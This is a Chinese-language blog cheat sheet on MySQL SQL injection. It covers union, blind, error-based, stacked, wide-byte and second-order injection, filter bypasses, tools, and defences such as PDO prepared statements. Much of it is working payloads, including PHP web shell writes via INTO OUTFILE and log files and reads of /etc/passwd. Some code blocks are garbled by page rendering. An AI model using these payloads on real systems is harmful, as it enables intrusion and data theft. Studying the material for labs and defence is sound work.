無限可能

个人邮箱:985885413@qq.com

0%

SQL注入总结

前言

本文主要总结sql注入相关的知识点。很多地方都写得比较基础,一来便于自己复习,二来需要查阅相关资料的人看到这篇文章理解也会比较方便。为了总结全面一点,文中部分内容直接或间接引用于其他大牛的文章中,我都会标明出处,如有侵权,请发email联系我删除。多有不合理之处,望大佬指点。

随时更新


MySQL注入原理

造成原因即,由于一些程序或网站没能全面地过滤、拦截我们输入的数据,我们就可以利用在输入的数据中插入恶意语句,从而欺骗服务器来执行我们插入的sql语句,来获得数据库中的数据或者修改数据库。

注入的步骤一般是,先通过用一些常见的尝试语句,如'or 1=1--+来寻找注入点或者适合的注入方法,然后再去构造语句对数据库进行增、删、改,读写文件,或者是一步一步从数据库查询到我们想得到的字段数据来达成目的。


基础知识

以下内容整理自《sql注入备忘录》 《sql注入天书》

information_schema数据库

在Mysql5.0以上的版本中加入了一个information_schema这个系统表,这个系统表中包含了该数据库的所有数据库名、表名、列表,我们可以通过SQL注入来拿到用户的账号和口令。

reference:《Mysql中的information_schema数据库》

注释方法

  • select * from message ;--where id =1;
    
    1
    2
    3
    4
    5

    - —+

    - ```sql
    select * from message ;—+where id =1;
    - \#
  • select * from message ;#where id =1;
    
    1
    2
    3
    4
    5

    - %00

    - ```sql
    select * from message ;%00where id =1;
    - /**/
  • select * from message ;/*where id =1;*/
    
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61

    ### 一般用于尝试的语句

    or 1=1--+

    'or 1=1--+

    "or 1=1--+

    )or 1=1--+

    ')or 1=1--+

    ") or 1=1--+

    "))or 1=1--+

    ### 字符串截取

    - MID(column_name,start[,length]) start起始为1
    - LEFT(str,length) length为从左边开始要返回的字符数
    - RIGHT(str,length). length为从右边开始要返回的字符数
    - SUBSTR(str,pos,len) 从pos开始截取len个,pos起始为1,pos 可以是负值
    - SUBSTRING(str,pos,len). 与subsets()相同

    ### 字符串连接函数

    - concat(str1,str2,...)——没有分隔符地连接字符串

    - concat_ws(separator,str1,str2,...)——含有分隔符地连接字符串

    - group_concat(str1,str2,...)——连接一个组的所有字符串,并以逗号分隔每一条数据

    ### 查看当前数据库版本

    - VERSION()
    - @@VERSION
    - @@GLOBAL.VERSION

    ### 当前登录用户

    - USER()
    - CURRENT_USER()
    - SYSTEM_USER()
    - SESSION_USER()

    ### 当前使用的数据库

    - DATABASE()
    - SCHEMA()

    ### 当前的操作系统

    - @@version_compile_os

    ### 常用语句

    #### 查找所有用户

    ```sql
    select group_concat(user) from mysql.user;

数据库

1
SELECT group_concat(schema_name) from information_schema.schemata;

表名

1
2
3
4
SELECT group_concat(table_name) from information_schema.tables where table_schema='database_name';

//表中有主码约束,非空约束等完整性约束条件的才能用这个语句查询出来
SELECT group_concat(table_name) from information_schema.table_constraints where table_schema='database_name';

列名

1
SELECT group_concat(column_name) from information_schema.columns where table_name='xxx';

读文件

1
SELECT load_file('/etc/passwd');

写文件

1
CopySELECT '<?php @eval($_POST[1]);?>' into outfile '/var/www/html/shell.php';

常见类型及绕过方法

根据不同的分类方法有不同的类型,根据注入点可以简单分为数字形、字符型、搜索型,这里我们按照执行的方法来分类,其中最常见的是联合查询注入、盲注和报错注入,此外还有宽字节注入、堆叠注入、二次注入、正则注入、http头部注入、异或注入等

联合查询注入

即利用union select拼接语句来完成查询。步骤如下:

  1. 确定注入点。

    使用一些尝试的语句来找到注入点,确定我们可以插入联合查询语句的位置。

  2. 确定字段的数量。

    使用order/group by语句,往后边拼接数字来确定字段数量,若大于该数字时页面错误/无内容,小于或等于时页面正常,则字段数量即为该数字。若错误页与正常页一样,联合查询注入可能并不好用,我们就要考虑使用别的方法。

  3. 判断页面回显数据的字段位置。

    使用union select 1,2,3,4,... 通过显示在页面上的数字,即可判断出页面显示的字段位置,我们就在该位置来查询数据。这里后面的字段数一定要与我们前面字段的数量相同,因为union语句要求前后必须返回相同数量的列,否则语句就无法执行。

    有时当我们确定页面有回显,可页面中并没有我们想看到的数字时,可能是因为页面限制了只输出单行数据,这时我们要把前面的字段都改为NULL来防止对后面造成影响。

  4. 拼接查询语句查询数据。

    我们来拿sqli-labs的less1举个例子。

    前三步都执行过后,我们来查询数据库。

    http://localhost/sqli-labs/Less-1/?id=-1' union select 1,database(),3 --+

    得知数据库名字叫做security后我们来查询数据表。

    http://localhost/sqli-labs/Less-1/?id=-1'union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+

    然后我们选取其中一个叫users的表来查询它的列。

    http://localhost/sqli-labs/Less-1/?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' --+

    我们接着选取其中叫password的列来查询其中的字段值都是什么。

    http://localhost/sqli-labs/Less-1/?id=-1' union select 1,group_concat(password),3 from security.users --+

    这样我们就成功得到了数据库中用户的密码数据。

盲注

当页面并不能直接回显我们想要得到的数据时,我们可以考虑使用盲注。

盲注的思路就是利用or等逻辑连接词或者if函数来让语句做一个判断,通过观察页面与原本返回的内容/响应时间不同来得出数据内容。

盲注主要分为时间盲注和布尔盲注。

我们先利用and1=2,or1=1这两个永真和永假的句子分别做尝试,当页面对这两种情况的响应页面有较明显的区分时,我们可以采用布尔盲注,否则可以考虑时间盲注。

盲注的好处是适用范围较为广泛,缺点就是耗时长,手工注入工作量会很大,一般要结合工具或者编写脚本来完成自动化注入。

布尔盲注

道理很简单,我们可以使语句中的条件为假(假的嘛,随便找一个肯定不对的就好了,肯定要比找一定为真的要容易些)后面用or来拼接我们要判断的语句,当其为真时整个条件也为真,页面就会返回结果为真的响应,反之则会返回结果为假的反应,通过不断地判断来得知数据库的数据。

例如通过以下语句来判断数据库长度和其第一位的字符:

1
2
select * from users where username=asdhagsuifhafas or length(database())>8
select * from users where username=asdhagsuifhafas or ascii(substr(database(),1,1))<130

这里我们一般使用二分法来更加快速地得到字符的结果。

时间盲注

当在真假两种条件时页面返回的信息并不能区分出来的时候,我们就可以利用sleep()函数,通过观察页面响应的时间差异来进行判断,其原理和布尔盲注是一样的,适用范围要更广一些,但更加耗费时间,工作量变得更大了。

1
select * from users where username=asdhagsuifhafas or if(ascii(substr(database(),1,1))<130,sleep(5),NULL)

如果前面的条件为真的话,这里就会延迟5s,然后再显示页面结果。要注意在手工注入时注意这个时间的把握,太短可能会因为服务器加载出现误差,太长会影响效率。

报错注入

报错注入是一种适用范围也比较广泛的方法,原理是利用一些特殊函数的错误使用来使参数被页面输出出来。可以使用的前提是服务器的报错信息选项要打开。

常见的利用函数有:exp()、floor()+rand()、updatexml()、extractvalue(),此外还有一些冷门的geometrycollection()、multipoint()等,就不再展开了。

extractvalue()

ExtractValue(xml_frag, xpath_expr)

ExtractValue()接受两个字符串参数,一个XML标记片段 xml_frag和一个XPath表达式 xpath_expr(也称为 定位器); 它返回CDATA第一个文本节点的text(),该节点是XPath表达式匹配的元素的子元素。

——引自php官方文档

我们可以知道,这里的第一个参数可以传入目标xml文档,第二个参数是用Xpath路径法表示的查找路径。而如果我们这里Xpath格式书写错误的话,这里就会报错,并且还会把查询信息放在报错里。这里这样报错的原因比较复杂,也没有查到具体的解释,我们先学会怎么使用就好。

来个payload示例:

1
extractvalue(1,concat(0x5c,(select database(),0x5c))--+

因为后面的格式错误,所以我们会查询出数据库的名字,这里加入0x5c(正斜杠)是为了在爆出多条数据时当作分割线来作区分。

注:ExtractValue()UpdateXML()都是在MySQL 5.1.5版本中才被加入的,故低于该版本的MySQL是无法使用该方法的。

updatexml()

UpdateXML(xml_target, xpath_expr, new_xml)

xml_target:: 需要操作的xml片段

xpath_expr: 需要更新的xml路径(Xpath格式)

new_xml: 更新后的内容

此函数用来更新选定XML片段的内容,将XML标记的给定片段的单个部分替换为 xml_target 新的XML片段 new_xml ,然后返回更改的XML。xml_target替换的部分 与xpath_expr 用户提供的XPath表达式匹配

——引自php官方文档

和前面同理,只是多了一个参数,我们多加一个就好。

示例:

1
select updatexml(1,concat(0x5c,(select database()),0x5c),1);

exp()

exp(x)

返回e的不同次方

x:指数

——引自菜鸟教程

exp()的报错原理是mysql能记录的double数值范围有限,当参数的值过高时,由于指数增长是很快的,得到的值就会超过double的范围,从而报错,如下:

1
2
select exp(1000)
> DOUBLE value is out of range in 'exp(1000)'

所以我们利用该点,构造payload:

1
2
mysql> select exp(~(select * from (select users())x));
ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'root@localhost' from dual)))'

这里的是sql中的运算符,意为一元字符反转,而0按位取反就会返回“18446744073709551615”,而函数成功执行后就会返回0,所以我们输入`(select database())会返回18446744073709551615`,显然是会超过范围报错的。这里需要嵌套两层子查询,一层不行,原因是什么我还没有搞明白,求大佬指点。

版本需在MySQL 5.5.5及其以上。

floor()+rand()

rand() 是一个随机函数,通过一个固定的随机数的种子0之后,可以形成固定的伪随机序列。

floor() 函数的作用就是返回小于等于括号内该值的最大整数,也就是取整。

group by 主要用来对数据进行分组(相同的分为一组)。

count(*)用于对数据进行整合计数。

——内容及下四图引自freebuf《Mysql报错注入之floor(rand(0)*2)报错原理探究》

完整的payload如下:

1
union select count(*),2,concat(0x5c,(select database()),0x5c,floor(rand(0)*2))as a from information_schema.tables group by a

我们把它分割开来理解。

首先,rand(0)的意思是选择一个固定的随机数种子0,从而形成一个我们可以预见的伪随机序列。

1
2
3
4
5
6
rand(0)																												0.15522042769493574
0.620881741513388
0.6387474552157777
0.33109208227236947
0.7392180764481594
0.7028141661573334

然后,我们用floor()函数取整,floor(rand(0)*2)就是对rand(0)产生的随机序列乘2,再取整,从而得到一个固定的序列,而这个序列刚好是011011这个顺序不断循环。这就是我们选择rand(0)的原因,不会出现一直都是0或1的情况。

as a就是把前面整个的结果看作是a,方便我们后面用。

然后我们在后面拼接group by语句。这里作个示例,我们先作一张表,不加group by的结果如下:(as a/x 前面的as省略了)

然后我们加上group by x

我们可以看到group by会将相同名字的合并,然后按照ascii排序。

最后我们加上count(*),如下:

这里的x其实就是每一类的数量。

那么为什么这个句子会报错呢?

这里关键的是要理解group by函数的工作过程。group by key 在执行时循环读取数据的每一行,将结果保存于临时表中。读取每一行的key时,如果key存在于临时表中,则更新临时表中的数据(更新数据时,不再计算rand值);如果该key不存在于临时表中,则在临时表中插入key所在行的数据(插入数据时,会再计算rand值)。如果此时临时表只有key为1的行不存在key为0的行,那么数据库要将该条记录插入临时表,由于是随机数,插时又要计算一下随机值,此时 floor(random(0)*2)结果为1,就会导致插入时冲突而报错。也就是说,检测时和插入时计算了两次随机数的值导致了错误。

下图非常直观,我们第一次查询0发现不存在,于是插入新的key,此时随机数会重新计算,于是插入了key1,然后第二条查询中有key1,不会再计算,第三条查询时key0没有数据,于是插入新的key,此时重新计算,结果又成了1,于是插入的新数据与第一条数据冲突了,就会报错。这就是我们要用rand(0)的原因,随机数稳定,可以很快就报错。

文件读写

利用SQL注入可以导入导出文件,获取文件的内容,或者修改文件的内容。

讲Mysql文件读写之前,先要了解什么是file_priv和secure-file-priv

file_priv是对于用户的文件读写权限,若无权限则不能进行文件读写操作,可通过下述payload查询权限。

1
select file_priv from mysql.user where user=$USER host=$HOST;

secure-file-priv是一个系统变量,对于文件读/写功能进行限制。具体如下:
无内容,表示无限制。

  • 为NULL,表示禁止文件读/写。
  • 为目录名,表示仅允许对特定目录的文件进行读/写。

TIPS:5.5.53本身及之后的版本默认值为NULL,之前的版本无内容。
三种方法查看当前secure-file-priv的值:

1
2
3
select @@secure_file_priv;
select @@global.secure_file_priv;
show variables like "secure_file_priv";

两个参数的修改:
通过修改my.ini文件,添加:secure-file-priv=
启动时添加参数:mysqld.exe –secure-file-priv=

——引自 ttpfx《MySQL注入进阶》

  • 读取文件

    读文件通常使用load_file函数,语法如下:

    1
    2
    3
    select load_file(file_path);

    SELECT LOAD_FILE('/etc/passwd');

    注意:

    • LOAD_FILE的默认目录是@@datadir
    • 文件必须是当前用户可读
    • 需要知道文件的绝对物理路径
    • 读文件必须小于max_allowed_packet,为1047552byte, 可用SELECT @@max_allowed_packet语句来查看文件读取最大值
  • 向文件写入webshell

    写入后可配合蚁剑等工具操作。

    1
    2
    3
    4
    5
    SELECT  "<?php eval($_POST['a'])?>" INTO OUTFILE '/var/www/html/shell.php';
    SELECT "<?php eval($_POST['a'])?>" into DUMPFILE '/var/www/html/shell.php';

    //NTO OUTFILE函数写文件时会在每一行的结束自动加上换行符
    //INTO DUMPFILE函数在写文件会保持文件得到原生内容,这种方式对于二进制文件是最好的选择

    注意:

    • 需要知道网站的绝对物理路径,这样导出后的webshell才可访问
    • 对需导出的目录要有可写权限。
  • 日志法

    由于mysql在5.5.53版本之后,secure-file-priv的值默认为NULL,这使得正常读取文件的操作基本不可行。我们这里可以利用mysql生成日志文件的方法来绕过。

    mysql日志文件的一些相关权限可以直接通过命令来修改:

    1
    2
    3
    4
    5
    6
    7
    8
    //请求日志
    mysql> set global general_log_file = '/var/www/html/1.php';
    mysql> set global general_log = on;
    //慢查询日志
    mysql> set global slow_query_log_file='/var/www/html/2.php'
    mysql> set global slow_query_log=1;
    //还有其他很多日志都可以进行利用
    ...

    之后我们在让数据库执行满足记录条件的恶意语句即可。

    注意:

    • 权限够,可以进行日志的设置操作
    • 知道目标目录的绝对路径

堆叠注入

顾名思义,就是将多个语句“堆”在一起执行。

当我们使用联合注入查询的时候,我们不仅必须要返回相同的字段数,还被限制只能执行select一类的语句。而堆叠注入中,因为分号;是MySQL语句的结束符,我们就可以利用分号来在后面执行其它增、删、改等恶意语句。攻击方法很直接,可其局限性也很明显,因为并不是每一个环境下都可以执行,可能受到数据库引擎不支持等的限制,或者直接权限不足。谁又会让你随便删改他的数据库呢?

一些常见的增删查改payload:

1
2
3
4
5
select * from users where id=1;create table test like users;   
select * from users where id=1;drop table test;
select * from users where id=1;select 1,2,3;
select * from users where id=1;insert into users(id,username,password) values ('100','new','new');
select * from users where id=1;select load_file('c:/tmpupbbn.php');

堆叠注入巧妙的使用方法是,当我们通过不断查询猜测到其源码中的SQL语句时,可以考虑通过修改表/列名来利用原语句实现注入。

如我们知道了其语句是select * from users where id = '';我们就可以使用堆叠注入,如alter table flag rename to users;把flag表的名字修改为users,然后再利用1 or 1=1 #恒真语句来进行查询。注意修改前先把原来的表修改成其他名字,否则出现重名会报错。

宽字节注入

该方法的原理是,MySQL在使用 GBK 编码的时候,会把两个字符当作 一个汉字,例如%aa%5c 就是一个汉字(前一个 ascii 码大于 128 才能到汉字的范围)。而在过滤 ’ 的时候,往往利用的思路是将 ' 转换为 \' ,例如常见的addslashes()函数。 因此我们可以用这个办法将 ' 前面添加的 \ 除掉,从而成功绕过。

一般我们有两种思路:

1、%df 吃掉 \

urlencode(\‘) = %5c%27,我们在%5c%27 前面添加%df,形

成%df%5c%27,而上面提到的 mysql 在 GBK 编码方式的时候会将两个字节当做一个汉字,此

事%df%5c 就是一个汉字,%27 则作为一个单独的符号在外面,脱离了反斜杠,从而达到我们的目的。

2、将 \' 中的 \ 过滤掉,例如可以构造 %**%5c%5c%27 的情况,后面的%5c 会被前面的%5c

给注释掉。

payload示例:

1
?id=-1%df%27union%20select%201,user(),3--+

这里我们添加了一个%df,源码中的addslashes()函数生成的前面的%5c就被它吃掉了,' 即可绕过。

Latin1编码相关

也不算一个方法吧,算一个小技巧,不过因为与宽字节注入相似,就放在一起吧。

如当我们要登录admin这个用户名,而代码中出现了类似下面的限制时:

1
2
3
if ($username === 'admin') {
die('failed');
}

我们就可以利用Latin1编码来做文章。

MySQL的默认编码是Latin1,而php的编码不是(一般为utf8)。因为latin1并不支持汉字,所以我们可以让utf8汉字转换成latin1,而当Mysql在转换字符集的时候,会将不完整的字符给忽略掉。如 这个字的UTF-8编码是\xE4\xBD\xAC,如果我们完整输入username=admin%e4%bd%ac,就会报错,而如果我们只输入username=admin%e4,其中的%e4就会被MySQL忽略,从而让我们成功登录admin。

二次注入

二次注入适用于绝对信任用户数据,在引用用户数据的时候并没有进行过滤的页面,即使它在录入用户数据时使用了mysql_real_escape_string类似函数进行过滤,也会被我们二次注入。过程主要分为两步,第一步先向数据库插入恶意语句,然后再将其引用出来,使恶意语句得到执行。

我们用sqli-labs的less24举个例子来具体理解。

在这个页面中,我们可以做的操作是用正确的用户名和密码来登录,也可以创建一个新用户,还可以在登陆后修改密码。

我们先来看login.php的源码:

1
2
3
4
5
6
7
function sqllogin(){

$username = mysql_real_escape_string($_POST["login_user"]);
$password = mysql_real_escape_string($_POST["login_password"]);
$sql = "SELECT * FROM users WHERE username='$username' and password='$password'";
//$sql = "SELECT COUNT(*) FROM users WHERE username='$username' and password='$password'";
$res = mysql_query($sql) or die('You tried to be real smart, Try harder!!!! :( ');

然后我们来看login_create.php中部分源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
if (isset($_POST['submit']))
{


# Validating the user input........

//$username= $_POST['username'] ;
$username= mysql_escape_string($_POST['username']) ;
$pass= mysql_escape_string($_POST['password']);
$re_pass= mysql_escape_string($_POST['re_password']);

echo "<font size='3' color='#FFFF00'>";
$sql = "select count(*) from users where username='$username'";
$res = mysql_query($sql) or die('You tried to be smart, Try harder!!!! :( ');
$row = mysql_fetch_row($res);

//print_r($row);
if (!$row[0]== 0)
{
?>
<script>alert("The username Already exists, Please choose a different username ")</script>;

而看到这里pass_change.php中引用用户名的时候并没有使用mysql_real_escape_string,我们就可以利用这一点进行二次注入。

1
2
3
4
5
6
7
8
9
10
11
12
if (isset($_POST['submit']))
{
# Validating the user input........
$username= $_SESSION["username"];
$curr_pass= mysql_real_escape_string($_POST['current_password']);
$pass= mysql_real_escape_string($_POST['password']);
$re_pass= mysql_real_escape_string($_POST['re_password']);

if($pass==$re_pass)
{
$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";
$res = mysql_query($sql) or die('You tried to be smart, Try harder!!!! :( ');

我们可以看到,这里都对输入的数据用mysql_escape_string函数进行了特殊字符的转义,我们是没有办法直接执行恶意语句的。这时候我们就可以使用二次注入的方法。

我们创一个用户名为admin'#的账号,密码随意,如123。而因为当这段数据被写进数据库的时候,里面添加的反斜杠是会被MySQL移除的,所以我们这局句恶意语句就被存到了数据库中。

然后我们登录这个用户并修改密码,这里pass_change.php中执行的语句为:

1
"UPDATE users SET PASSWORD='$pass' where username='admin'#' and password='123' ";

因为后面已经被我们注释掉了,所以密码错误并不影响我们执行语句,我们就成功在没有密码的情况下修改了admin用户的密码。

http头部注入

很简单,就是当我们在表单提交的数据都没办法注入,而sql语句中出现了http头部别的项且可以被注入时,我们就使用工具抓包修改该项,在其中拼接恶意语句的方法,这里就不再赘述。


再之后的这些也算不上是方法,都是些可能会用到的小技巧或者小知识点,都总结到这里。

异或注入

当union,and和注释符都被完全过滤掉时,我们可以考虑使用异或注入

异或是一种逻辑运算,当两个条件相同时返回假(0),不同时返回真(1)

1
2
3
//运算规则:
1^1=0 0^0=0 0^1=1
1^1^1=1 1^1^0=0

payload:

1
1'^ascii(mid(database(),1,1)=98)

我们可以在后面多加一个^0或1来判断是否出现了语法错误。改变这里的0或1,如果返回的结果是不同的,那就可以证明语法是没有问题的

约束攻击

约束攻击一般出现在当出现类似like子句这种需要对字符串进行比较的时候。它的攻击思路是这样的:

当SQL中处理字符串时,字符串末尾的空格符会被删除,比如“user”和“user ”是等价的,查询两者返回的都是user的信息。如果题目中出现了像LIKE子句这类”字符串比较“操作的时候,SQL会使用空格来填充字符串,使得在比较之前让他们的长度保持一致,方便比较。而在INSERT查询中,SQL都会根据varchar(n)来限制字符串的最大长度。也就是说,如果字符串的长度大于“n”个字符的话,那么仅使用字符串的前“n”个字符。这就是约束攻击中的“约束”。比如说,某列的长度约束为5个字符,那么在插入字符串“password”时,实际上插入的是“passw”。这就是我们可以攻击的地方了。我们举个例子来进一步理解。

比如某网站的用户数据库中有该条:

1
2
3
4
5
+----------+-------------+
| username | password |
+----------+-------------+
| users | 0asd2a413ad |
+----------+-------------+

我们就可以注册一个用户名为“users 1”,密码为1的用户。

接着后台执行SELECT语句,这时是不会限制我们的长度的,所以并没有重名。而在执行INSERT插入我们的新用户时,就会根据varchar(n)来限制字符串的最大长度,从而将后面的“1”截掉,我们就插入了名为“users”,密码为1的用户了。通过它可以登录上述users用户。

防御手段见6.5

正则注入

在盲注的时候,我们可以通过正则表达式匹配查询。如下:

1
2
and 1=(SELECT 1 FROM information_schema.tables WHERE TABLE_SCHEMA="blind_sqli" AND table_name REGEXP '^[a-n]' LIMIT 0,1)
//判断第一个字符是否是a-n中的字符

order by 大小比较盲注

当遇到的盲注题过滤了括号,且知道username和password的单独回显时,可考虑使用该方法

reference:https://www.cnblogs.com/xishaonian/p/7703486.html

上面链接中的文章讲得很明白,利用order by语句的排序功能来进行判断,若我们查询的数据值比我们判断的值小或等于,则limit语句将不会让其输出,因此我们即可通过order by来逐个猜解password。

PDO下的SQL注入

关于PDO防止SQL注入的内容见下6.4。

PDO在使用不当时,也有可能会出现SQL注入问题。

对于原理并没有完全理解,就不误导他人了,指路其他大佬写的深入探究。

reference:https://xz.aliyun.com/t/3950

在使用PDO处理SQL注入安全时,尽量使用非模拟预处理,并且禁止多语句查询来防止堆叠注入即可避免该类注入。

预编译注入

有些时候,在关键字被正则过滤时,我们可以采用预编译的方式构造SQL语句来完成注入。

预编译语法:

1
2
3
4
5
6
//定义预处理语句
PREPARE stmt_name FROM preparable_stmt;
//执行预处理语句
EXECUTE stmt_name [USING @var_name [, @var_name] ...];
//删除(释放)定义
{DEALLOCATE | DROP} PREPARE stmt_name;

举个题目的例子,强网杯2019的题目supersqli中,题目作出了该限制:

1
return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);

虽然我们可以利用堆叠注入查询表和列的信息,但在查询flag字段时我们必须得用到上述中的关键字了,于是我们可以使用预编译的方法来进行注入。见下payload:

1
2
//查询1919810931114514列中的flag字段,空格不可省略
-1';PREPARE hacker from concat('s','elect', ' flag from `1919810931114514` ');EXECUTE hacker;#

常见过滤/拦截/转义及绕过

空格

  • 用括号嵌套

    1
    2
    3
    select username() from user where 1=1 and 2=2
    //可以写成
    select(username())from user where(1=1)and(2=2)
  • 用+号替代

  • 使用注释/**/替换

  • %09 %0A %0B %0C %0D %A0 %20等部分不可见字符代替空格(Windows的解析机制无法使用特殊字符代替空格,需要Linux的服务器环境才行)

括号

  • order by 大小比较盲注(见上3.15)

关键字及字符

  • 双写绕过、大小写绕过

  • 使用注释符绕过(现在一般都不起作用了)

    1
    U/**/ NION /**/ SE/**/ LECT /**/user,pwd from user
  • 十六进制、ASCII、RLEncode、unicode等编码绕过,适用于许多时候特殊字符或关键字被过滤

    1
    2
    3
    4
    5
    6
    select a from yz where b=0x32;
    select * from yz where b=char(0x32);

    Test
    //等价于
    CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)
  • 双重编码绕过

  • 函数可以用等价函数代替来绕过

逗号

  • substr()mid()中的逗号可以用from for代替

    1
    2
    select substr(database() from 1 for 1);
    select mid(database() from 1 for 1);
  • join代替

    1
    2
    3
    union select 1,2     
    //等价于
    union select * from ((select 1)A join (select 2)B );
  • 对于limit可以用offset绕过

    1
    2
    3
    select * from news limit 1,3
    select * from news limit 3 offset 1
    //都表示取第234三条数据

运算符

比较运算符

  • like 模糊匹配,或rlikeregexp正则匹配

    1
    2
    3
    4
    select ‘12345’ like ‘12%’
    //返回ture
    select ‘123455’ regexp ‘^12’
    //返回ture
  • greatestleast代替><

    1
    2
    3
    select * from users where id=1 and ascii(substr(database(),0,1))>64
    //可以用下句代替
    select * from users where id=1 and greatest(ascii(substr(database(),0,1)),64)=64
  • between代替

    1
    2
    select database() between 0x61 and 0x7a;
    select database() between ‘a’ and ‘z’;

逻辑运算符

  • and == &&
  • or == ||
  • not ==

位运算符

  • & 按位与
  • | 按位或
  • ^ 按位异或
  • ! 取反
  • << 左移 >> 右移

引号

  • 宽字节注入(见上3.8)
  • %2527绕过magic_quotes_gpc过滤,因为%25解码为%,拼接后是%27即引号。

数字或字母

引自《Mysql注入进阶》 by ttpfx

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
false或!pi():0
true或!!pi():1
true+true:2
floor(pi()):3
ceil(pi()):4
floor(version()):5
ceil(version()):6
ceil(pi()+pi()):7
floor(version()+pi()):8
floor(pi()*pi()):9
ceil(pi()*pi()):10
ceil(pi()*pi())+true:11
ceil(pi()+pi()+version()):12
floor(pi()*pi()+pi()):13
ceil(pi()*pi()+pi()):14
ceil(pi()*pi()+version()):15
floor(pi()*version()):16
ceil(pi()*version()):17
ceil(pi()*version())+true:18
floor((pi()+pi())*pi()):19
ceil((pi()+pi())*pi()):20
ceil(ceil(pi())*version()):21
ceil(pi()*ceil(pi()+pi())):22
ceil((pi()+ceil(pi()))*pi()):23
ceil(pi())*ceil(version()):24
floor(pi()*(version()+pi())):25
floor(version()*version()):26
ceil(version()*version()):27
ceil(pi()*pi()*pi()-pi()):28
floor(pi()*pi()*floor(pi())):29

使用conv([0-9],10,36)可以表示09的数字,conv([1035],10,36)可以表示a~z单个字母,conv([35+],10,36)可按照三十六进制转换


工具

许多工具可以帮助我们大大提高注入的效率,甚至可以自动注入,但我们也不能太过于依赖工具而自废武功,要明白注入的原理,合理利用工具。这里我们简单列举几个在sql注入时常用到的工具。

sqlmap

sqlmap是一款自动化的 sql 注入工具,闻名程度匹敌几年前的啊 D,他的功能很多,比如判断是否可以注入,发现,然后利用漏洞,里面也包含了许多绕 waf 的脚本,不过近两年都绕不了了,在 18 年的时候还勉强可以绕过。他支持许多数据库:MySQL,Microsoft sql server,access,sqllite,Oracle,postgreSQL,IBM DB2,sybase,SAP maxdb。

sqlmap也是一款用来检测与利用SQL注入漏洞的免费开源工具,有一个非常棒的特性,即对检测与利用的自动化处理(数据库指纹、访问底层文件系统、执行命令),它具有功能强大的检测引擎,针对各种不同类型数据库的渗透测试的功能选项,包括获取数据库中存储的数据,访问操作系统文件甚至可以通过外带数据连接的方式执行操作系统命令SQLmap命令选项被归类为目标(Target)选项、请求(Request)选项、优化、注入、检测、技巧(Techniques)、指纹、枚举等。

sqlmap 有几种sql注入方式:布尔盲注,时间盲注,联合查询注入,报错注入,堆查询注入。

——引自 知乎用户 38.5 关于sqlmap的回答《sqlmap使用教程》

最常见的sql注入工具,用起来很方便。

sqlmap安装:https://blog.csdn.net/baigoocn/article/details/51456721

burpsuite

burpsuite是一个Web应用程序集成攻击平台,它包含了一系列burp工具,我们可以利用它来抓包并进行修改头部信息、爆破等操作。

不仅是sql注入,很多时候我们都用得到burpsuite,不过分为免费版和专业版,功能略有差异。

burpsuite安装:https://blog.csdn.net/LUOBIKUN/article/details/87457545

蚁剑

蚁剑是一款web远程连接工具,我们可以利用它,通过向网页上传一句话木马文件来连接网站里的文件,从而获得甚至修改网站文件。它可以在我们文件读写(见3.6)时提供很大的方便。

蚁剑安装:https://blog.csdn.net/qq_45951598/article/details/108585696?utm_medium=distribute.pc_relevant.none-task-blog-OPENSEARCH-2.control&depth_1-utm_source=distribute.pc_relevant.none-task-blog-OPENSEARCH-2.control

BBQSQL

SQL盲注可是一个痛苦的过程。当工具都正常工作时,它们表现得很好,但是当它们无效时,你必须自己编写一些自定义的东西,这个过程既费时又乏味。而这一款盲注工具BBQSQL可以帮助我们解决这些问题。

BBQSQL是一款用Python编写的SQL盲注框架。在攻击棘手的SQL注入漏洞时,它会显得非常有用。BBQSQL还是一款半自动工具,可以为不会发现SQL注入点的用户提供大量自定义功能。该工具可与数据库无关,并且用途极为广泛。它还具有非常直观的用户界面,使设置攻击变得更加容易。同时,它也实现了Python gevent,这些都使BBQSQL非常快。

——引自知乎用户 二向箔安全学院 的文章《最受欢迎的十款SQL注入工具》


如何防止被注入

由上可知,SQL注入对我们的数据安全有很大的威胁,所以我们在学会注入之后,最终的目的是懂得如何防止SQL注入,从而保护我们和用户的数据。

如今SQL漏洞已经被人熟知且基本被全面防范,所以我们也可以通过学习他人对SQL注入的处理来学习如何防止被SQL注入攻击。

过滤/拦截

使用mysql_real_escape_stringaddslashes()等函数来对字符串进行过滤,或者使用正则表达式过滤传入的参数,从而防止SQL注入。

黑/白名单

使用黑/白名单来限制可以输入的参数,从而防止SQL注入。注意,在使用黑名单时,一定要将敏感字符过滤得足够严格,否则过滤了再多也是徒劳。

PreparedStatement代替Statement

在Java中,我们可以通过使用PreparedStatement代替Statement来防止SQL注入,这是因为PreparedStatement是预编译的,而且PreparedStatement参数不是简单拼接生成SQL,而是先用?占位,之后再根据参数产生SQL的,用户无法改变SQL语句的结构。同时PreparedStatement的执行效率也会更高。

PDO防止注入

PHP 数据对象 (PDO) 扩展为PHP访问数据库定义了一个轻量级的一致接口。

PDO 提供了一个数据访问抽象层,这意味着,不管使用哪种数据库,都可以用相同的函数(方法)来查询和获取数据。

PDO随PHP5.1发行,在PHP5.0的PECL扩展中也可以使用,无法运行于之前的PHP版本。

PDO与mysqli曾经被建议用来取代原本PHP在用的mysql相关函数,基于数据库使用的安全性,因为后者欠缺对于SQL注入的防护。

——引自菜鸟教程

使用PHP的PDO扩展的 prepare 方法,可以避免SQL注入风险。

使用PDO访问MySQL数据库时,真正的real prepared statements 默认情况下是不使用的。为了解决这个问题,必须先禁用 prepared statements的仿真效果。下面是使用PDO创建链接的例子:

1
2
$dbh = new PDO('mysql:dbname=dbtest;host=127.0.0.1;charset=utf8', 'user', 'pass');
$dbh->setAttribute(PDO::ATTR_EMULATE_PREPARES, false);

